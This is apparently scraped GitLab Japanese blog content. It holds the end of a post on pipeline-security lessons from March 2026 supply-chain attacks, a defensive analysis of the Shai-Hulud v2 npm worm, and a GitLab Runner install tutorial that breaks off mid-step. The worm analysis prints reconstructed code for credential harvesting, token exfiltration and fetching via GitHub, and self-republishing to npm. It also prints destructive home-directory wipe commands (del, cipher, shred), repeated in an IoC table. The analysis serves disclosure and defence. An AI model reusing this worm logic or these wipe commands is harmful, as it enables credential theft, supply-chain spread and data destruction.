同様に、TeamPCPのCanisterWorm伝播によって侵害されたすべてのnpmパッケージも、使用されている場合はフラグが立てられます。\n\n[GitLabコンテナスキャン](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)は、デプロイメントで使用される脆弱なコンテナイメージを検出します。Trivyの侵害については、コンテナスキャンがコンテナレジストリまたはデプロイメントマニフェストに現れたトロイの木馬化されたTrivyのDockerイメージ（0.69.4〜0.69.6）にフラグを立てます。\n\n### マージリクエスト承認ポリシー\n\n[マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、依存関係のロックファイルやCI/CD設定への変更がマージされる前にセキュリティチームの承認を必須とすることができます。これにより、サプライチェーン攻撃が一般的に導入する種類の変更に対して、人間によるチェックポイントが確保されます。\n\n### 近日公開予定：依存関係ファイアウォール、アーティファクトレジストリ、SLSAレベル3の認証と検証\n\n今後予定されているGitLabのサプライチェーンセキュリティ機能は、レジストリとパイプラインという2つの重要なコントロールポイントにおけるポリシー適用を強化します。依存関係ファイアウォールとアーティファクトレジストリは非準拠のパッケージをブロックし、SLSAレベル3の認証によってアーティファクトが承認されたパイプラインで生成され、改ざんされていないという暗号学的な証明が提供されます。これらを組み合わせることで、セキュリティチームはソフトウェアサプライチェーンへの入出力を検証可能な形で管理できるようになります。\n\n## あなたの組織にとっての意味\n\nAI支援型の脅威が高まる中、CI/CDパイプラインへの攻撃はますます一般的になっています。TeamPCPのキャンペーンは、1つの侵害された認証情報が信頼済みツールのエコシステム全体にどう波及するかを示しています。\n\n影響を受けたコンポーネントを使用していた場合は、すべてのパイプラインシークレットが露出したという前提で行動してください。直ちにローテーションし、永続的なバックドアがないかシステムを監査してください。いずれの場合も、認証情報を定期的にローテーションし、短命トークンを使用することで、将来の侵害のブラスト半径を制限できます。\n\n推奨事項をまとめます：\n\n1. **可能な限り、依存関係をチェックサムにピン留めしてください。** TeamPCPが悪用した可変バージョンタグは、セキュリティ境界ではありません。すべての[CI/CDコンポーネント](https://docs.gitlab.com/ja-jp/ci/components/#manage-dependencies)、アクション、コンテナイメージにはSHAピン留め参照を使用してください。\n2. **実行前の整合性チェックを実行してください。** パイプライン実行ポリシーを使用して、パイプラインジョブが実行される*前*にツールと依存関係の整合性を確認してください。これが`.pipeline-policy-pre`ステージです。\n3. **公開するものを監査してください。** すべてのパッケージ公開ステップには、アーティファクトの内容を自動検証する処理を含めてください。ソースマップ、環境ファイル、内部設定はビルド環境から外部に出すべきではありません。[Supply Chain Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、npm、Docker、Helmアーティファクトのすぐにデプロイできる出発点を提供しています。\n4. **依存関係のドリフトを検出してください。** すべてのパイプライン実行において、依存関係の解決結果をコミット済みロックファイルと比較してください。予期しない新しい依存関係を監視します。\n5. **ポリシー管理を集中化してください。** セキュリティチェックを含めることを開発者の記憶に頼らないでください。開発者が削除やスキップをできないポリシーを通じて、グループまたはインスタンスレベルで適用してください。\n6. **セキュリティツール自体が標的になると想定してください。** 脆弱性スキャナー、静的アプリケーションセキュリティテスト（SAST）ツール、AIゲートウェイは侵害される可能性があります。各ツールの権限は最低限必要なものに限定し、その他へのアクセスが不可能であることを確認してください。\n\n## GitLabでパイプラインを保護する\n\n2週間にわたり、攻撃者はソフトウェア開発エコシステムで最も広く採用されているツールの一部を使用している組織の本番パイプラインを侵害しました。\n\n教訓は明確です。ビルドパイプラインには、ネットワークやクラウドインフラに適用するのと同じレベルの集中管理されたポリシー駆動の保護が必要です。\n\nGitLabパイプライン実行ポリシーは、その適用レイヤーを提供します。個々のプロジェクト設定に関わらず、すべてのプロジェクトのすべてのパイプラインでセキュリティチェックが実行されることを保証します。依存関係スキャン、シークレット検出、マージリクエスト承認ポリシーと組み合わせることで、2026年3月に見られたクラスの攻撃をブロック、検出、封じ込めることができます。\n\n[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)プロジェクトは、大手AI企業の流出事故の背後にある種類のエラーを正確に検出する、動作するパイプライン実行ポリシーを提供しています。npmパッケージ、Dockerイメージ、Helmチャートに対応しています。クローンして、グループにデプロイし、今後のサプライチェーン攻撃に備えてすべてのパイプラインを準備してください。\n\n集中管理されたパイプラインポリシーを始めるには、[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/devsecops/)にサインアップしてください。\n\n*このブログ記事には、1933年証券法第27A条（改正済み）および1934年証券取引法第21E条の意味における「将来の見通しに関する記述」が含まれています。これらの記述に反映された予想は合理的であると信じておりますが、実際の結果や成果を大幅に異なるものにする可能性のある既知および未知のリスク、不確実性、前提条件、その他の要素の影響を受けることがあります。これらのリスクおよびその他の要素に関するさらなる情報は、SECへの提出書類の「リスク要因」という見出しの下に記載されています。法律で要求される場合を除き、このブログ投稿の日付以降にこれらの記述を更新または修正する義務を負いません。*",[1178],"Grant Hickman","2026-04-07","3月のサプライチェーン攻撃から学ぶパイプラインセキュリティ",[757,745,822,793],"2026年3月、Trivy・Checkmarx KICS・LiteLLM・axiosが次々と侵害されました。GitLabの集中管理されたパイプライン実行ポリシーが、これらのサプライチェーン攻撃パターンをどのように検出・ブロックできるかをご紹介します。",{"featured":641,"template":796,"slug":1184},"pipeline-security-lessons-from-march-supply-chain-incidents",{"content":1186,"config":1197},{"heroImage":1187,"body":1188,"authors":1189,"updatedDate":1008,"date":1192,"title":1193,"tags":1194,"description":1196,"category":769},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[1190,1191],"Michael Henriksen","Daniel Abeles","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[757,1195],"security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":13,"template":796,"slug":1198},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":1200,"config":1203},{"heroImage":784,"body":785,"authors":1201,"updatedDate":788,"date":789,"title":790,"tags":1202,"description":794,"category":640},[787],[792,793,745],{"featured":13,"template":796,"slug":797},[1205,1209,1214],{"content":1206,"config":1208},{"category":719,"body":1031,"date":1032,"updatedDate":1033,"heroImage":1034,"authors":1207,"title":1036,"description":1037},[912],{"featured":641,"template":796,"slug":1039},{"content":1210,"config":1213},{"heroImage":1175,"body":1176,"authors":1211,"updatedDate":1033,"date":1179,"title":1180,"tags":1212,"description":1182,"category":769},[1178],[757,745,822,793],{"featured":641,"template":796,"slug":1184},{"content":1215,"config":1218},{"heroImage":1106,"body":1107,"authors":1216,"updatedDate":789,"date":1109,"title":1110,"tags":1217,"description":1112,"category":745},[912],[1045,806,745,88],{"featured":13,"template":796,"slug":1114},[1220,1225,1230],{"content":1221,"config":1224},{"heroImage":784,"body":1117,"authors":1222,"updatedDate":788,"date":1109,"title":1120,"tags":1223,"description":1122,"category":745},[1119],[793,745],{"featured":13,"template":796,"slug":1124},{"content":1226,"config":1229},{"heroImage":1127,"body":1128,"authors":1227,"updatedDate":788,"date":1109,"title":1130,"tags":1228,"description":1133,"category":745},[1056],[1132,793,745],{"featured":641,"template":796,"slug":1135},{"content":1231,"config":1239},{"heroImage":1232,"body":1233,"authors":1234,"updatedDate":1235,"date":1235,"title":1236,"tags":1237,"description":1238,"category":745},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1763646158/crdpd8lt5fndfzbcl9ln.jpg","[CI/CDパイプライン](https://about.gitlab.com/ja-jp/topics/ci-cd/cicd-pipeline/ \"CI/CDパイプラインとは？\")を成功に導く陰の立役者、それが **GitLab Runner** です。`.gitlab-ci.yml` ファイルに定義されたジョブを実行し、テストの起動、アプリケーションのビルド、コードのデプロイを担います。\n\nRunnerがなければ、パイプラインは設計図のままです。Runnerがあれば、それは具体的な動作として再現できるものになります。本記事では、GitLab Runnerとは何か、インストール・設定の方法、そして最大限に活用するためのベストプラクティスをご紹介します。\n\n## GitLab Runnerとは？\n\n**GitLab Runner**は[オープンソース](https://about.gitlab.com/ja-jp/blog/what-is-open-source/ \"オープンソースとは？\")のGoで書かれたアプリケーションで、CI/CDパイプラインのジョブを実行します。デベロッパーがコードをプッシュすると、GitLabがパイプラインをトリガーし、利用可能なRunnerにジョブを振り分けます。RunnerはジョブをRunnerし、その結果（ログ、アーティファクト、ステータス）をGitLabに返します。\n\n**パイプライン**とは、ジョブ（コンパイル、テスト、デプロイ）を自動化した一連の流れのことです。**Runner**は、特定のマシン上でそれらを実行するエージェントです。RunnerのExecutorは、ジョブが実行される環境（[Docker](https://about.gitlab.com/ja-jp/blog/what-is-docker/ \"Dockerとは？\")、Shell、[Kubernetes](https://about.gitlab.com/ja-jp/blog/what-is-kubernetes/ \"Kubernetesとは？\")など）を定義します。\n\n> **[→ GitLab UltimateおよびGitLab Duo Enterpriseを無料でお試しください。](https://about.gitlab.com/ja-jp/free-trial/devsecops/?utm_medium=blog&utm_source=blog&utm_campaign=eg_apj_x_trial_x_ja_blog_ja)**\n\n## GitLab CI/CDで利用できるRunnerの種類\n\nGitLab Runnerでは、アクセスを許可する対象に応じて、次の[Runnerスコープ](https://docs.gitlab.com/ja-jp/ci/runners/runners_scope/)を利用できます。\n\n* **インスタンスRunner**：GitLabインスタンス上のすべてのグループとプロジェクトで利用可能。\n\n* **グループRunner**：グループ内のすべてのプロジェクトおよびサブグループで利用可能。\n\n* **プロジェクトRunner**：特定のプロジェクトに紐付けられています。通常、プロジェクトRunnerは一度に1つのプロジェクトのみで使用されます。\n\nこれらのRunnerは、2つの方法でホストできます。\n\n* **ホスト型Runner**：GitLabが管理し、GitLab.com上で利用可能。インストール不要で、素早く開始できますが、設定の自由度は制限されます。\n\n* **セルフホスト型Runner**：独自のサーバー、仮想マシン、またはクラスター上にインストール・設定・管理します。完全なコントロールが可能で、特定の環境にも柔軟に対応できます。\n\n## GitLab Runnerがサポートするエグゼキューター\n\nGitLab Runnerのインストール時には、**Executor**（ジョブが実行される環境）を選択する必要があります。Executorの選択は、パイプラインのセキュリティ、パフォーマンス、柔軟性に直接影響します。\n\n主なExecutorは以下のとおりです。\n\n* **[Docker](https://docs.gitlab.com/ja-jp/runner/executors/docker/)**：各ジョブを隔離されたコンテナ内で実行します。高速かつ柔軟で、ほとんどのプロジェクトに推奨されます。\n\n* **[Shell](https://docs.gitlab.com/ja-jp/runner/executors/shell/)**：ホストマシン上でジョブを直接実行します。シンプルですが、分離性はありません。\n\n* **[Kubernetes](https://docs.gitlab.com/ja-jp/runner/executors/kubernetes/)**：Kubernetesのポッド内でジョブを実行し、ネイティブなスケーラビリティを備えています。\n\n* **[VirtualBox / Parallels](https://docs.gitlab.com/ja-jp/runner/executors/virtualbox/)**：macOSなど特定の環境でジョブを実行します。\n\n選択はニーズによって異なりますが、ほとんどのプロジェクトでは**Docker**が最適です。Executorの詳細については、[ドキュメントをご覧ください](https://docs.gitlab.com/ja-jp/runner/executors/)。\n\n## GitLab Runnerのインストール方法\n\n[GitLab Runnerのインストール](https://docs.gitlab.com/ja-jp/runner/install/)方法は、使用するOSとターゲット環境によって異なります。以下に代表的なシナリオをご紹介します。\n\n### Linuxへのインストール（Debian/Ubuntu）\n\nLinuxは、特にサーバー側でセルフホスト型Runnerをホストする最も一般的な環境です。インストール方法は次の3通りです。\n\n* GitLabの公式リポジトリ経由\n\n* `.deb`または`.rpm`パッケージ経由\n\n* バイナリファイル経由\n\n以下の例は、**Debian/Ubuntu**において[GitLabリポジトリからパッケージをインストール](https://docs.gitlab.com/ja-jp/runner/install/linux-repository/)する手順を示しています。\n\n1. GitLabの公式リポジトリを追加します。\n\n```shell\ncurl -L \"https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh\" | sudo bash\n```\n\n2. GitLab Runnerの最新バージョンをインストールします。特定バージョンをインストールする場合は次のステップに進んでください。\n\n```shell\nsudo apt install gitlab-runner\n```\n\n3. 特定バージョンのGitLab Runnerをインストールする場合：\n\n```shell\napt-cache madison gitlab-runner\n\nsudo apt install gitlab-runner=17.7.1-1 gitlab-runner-helper-images=17.7.1-1\n```\n\n`gitlab-runner`の特定バージョンを`gitlab-runner-helper-images`の同バージョンなしにインストールしようとすると、次のようなエラーが発生する場合があります。\n\n```shell\nsudo apt install gitlab-runner=17.7.1-1\n\n...\n\nThe following packages have unmet dependencies:\n gitlab-runner : Depends: gitlab-runner-helper-images (= 17.7.1-1) but 17.8.3-1 is to be installed\nE: Unable to correct problems, you have held broken packages.\n```\n\n4. Runnerを登録します。\n\n```shell\nsudo gitlab-runner register\n```\n\n### WindowsおよびmacOSへのインストール\n\nプロジェクトにビルド固有の要件がある場合は、次の手順に従ってWindowsまたはmacOSにGitLab Runnerをインストールすることもできます。\n\n* [GitLab RunnerをWindowsにインストールする](https://docs.gitlab.com/ja-jp/runner/install/windows/)\n\n* [GitLab RunnerをmacOSにインストールする](https://docs.gitlab.com/ja-jp/runner/install/osx/)\n\n### DockerによるRunnerのインストール\n\nDockerはGitLab Runnerをセットアップする最もシンプルかつ迅速な方法の一つです。複雑なインストール作業なしにDockerコンテナ内でRunnerを実行でき、隔離された再現性の高い環境を活用できます。\n\n迅速なテストや一時的な開発環境、またはすでにコンテナを多用しているチームに最適な方法です。\n\n1. コンテナを起動します。\n\n```shell\ndocker run -d --name gitlab-runner --restart always \\ \n  -v /srv/gitlab-runner/config:/etc/gitlab-runner \\\n  -v /var/run/docker.sock:/var/run/docker.sock \\ \n  gitlab/gitlab-runner:latest\n\n```\n\n2. Runnerを登録します。\n\n```shell\ndocker exec -it gitlab-runner gitlab-runner register\n```\n\n### KubernetesによるRunnerのインストール\n\nKubernetesへのGitLab RunnerのインストールはGitLabのHelm Chartを使用します。これはKubernetesクラスター内にGitLab Runnerインスタンスをデプロイする公式の方法です。\n\nGitLabのHelm ChartからGitLab Runnerをインストールする手順は以下のとおりです。\n\n1. GitLab Helmリポジトリを追加します。\n\n```shell\nhelm repo add gitlab https://charts.gitlab.io\n```\n\n2. アクセス可能なGitLab Runnerのバージョンを確認します。\n\n```shell\nhelm search repo -l gitlab/gitlab-runner\n```\n\n3. GitLab Runnerの最新バージョンにアクセスできない場合は、次のコマンドでチャートを更新してください。\n\n```shell\nhelm repo update gitlab\n```\n\n4. `values.yaml`ファイルでGitLab Runnerを設定した後、必要に応じてパラメーターを変更しながら次のコマンドを実行します。\n\n```text\n# For Helm 3\n\nhelm install --namespace \u003CNAMESPACE> gitlab-runner \\ \n  -f \u003CCONFIG_VALUES_FILE> \\ \n  gitlab/gitlab-runner\n```\n\n* `\u003CNAMESPACE>`：GitLab RunnerをインストールするKubernetesの名前空間。\n\n* `\u003CCONFIG_VALUES_FILE>`：カスタム設定が含まれるvaluesファイルへのパス。作成方法はドキュメントをご参照ください。\n\n* 特定バージョンのGitLab Runner Helm Chartをインストールする場合は、`helm install`コマンドに`--version \u003CRUNNER_HELM_CHART_VERSION>`を追加してください。任意バージョンのHelm Chartをインストールできますが、新しい`values.yml`ファイルは古いバージョンと互換性がない場合があります。\n\nKubernetesでGitLab Runnerをインストールする詳細については、[ドキュメント](https://docs.gitlab.com/ja-jp/runner/install/kubernetes/#install-gitlab-runner-with-the-helm-chart)をご覧ください。\n\n> GitLab Runnerのインストールについてのよくあるご質問は、[FAQ](https://docs.gitlab.com/ja-jp/runner/faq/)をご参照ください。\n\n## GitLab Runnerの登録方法\n\nインストール後、[GitLab Runnerを登録](https://docs.gitlab.com/ja-jp/runner/register/)することで、GitLabインスタンスからジョブを取得できるようになります。この手順では、インストール済みのRunnerを1つ以上のGitLabインスタンスに接続します。\n\nGitLab Runnerの登録方法はいくつかあります。本記事では、[認証トークンを使用したRunner登録](https://docs.gitlab.com/ja-jp/runner/register/#register-with-a-runner-authentication-token)に焦点を当てます。\n\n**前提条件**\n\n* Runner認証トークンを取得してください。次のいずれかの方法で取得できます。\n\n  * インスタンス、グループ、またはプロジェクトのRunnerを作成する。手順については[Runnerの管理に関するドキュメント](https://docs.gitlab.com/ja-jp/ci/runners/runners_scope/)をご参照ください。\n  * `config.toml`ファイル内のRunner認証トークンを確認する。Runner認証トークンのプレフィックスは`glrt-`です。\n\nRunnerが登録されると、設定内容は`config.toml`ファイルに保存されます。このファイルはGitLab Runnerのメイン設定ファイルで、RunnerとCI/CDジョブの実行に必要なすべての設定を含んでいます。このファイルはいつでも編集でき、変更内容はサービスの再起動なしに次のジョブから反映されます。\n\nRunner認証トークンを使用してRunnerを登録するには、次の手順を実施します。\n\n1. インストール方法に応じた登録コマンドを実行し、\n\n2. GitLabインスタンスのURL（GitLab.comまたはGitLab Self-Managed）を入力し、\n\n3. 